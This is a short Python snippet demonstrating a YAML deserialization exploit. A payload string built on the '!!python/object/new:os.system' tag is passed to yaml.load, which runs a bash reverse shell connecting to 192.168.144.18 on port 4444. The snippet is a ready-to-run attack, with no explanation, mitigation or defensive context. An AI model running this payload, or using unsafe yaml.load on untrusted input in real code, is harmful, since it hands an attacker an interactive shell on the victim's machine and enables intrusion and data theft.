import yaml # Reverse shell payload data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/192.168.144.18/4444 0>&1\""]' yaml.load(data) # Executes the reverse shell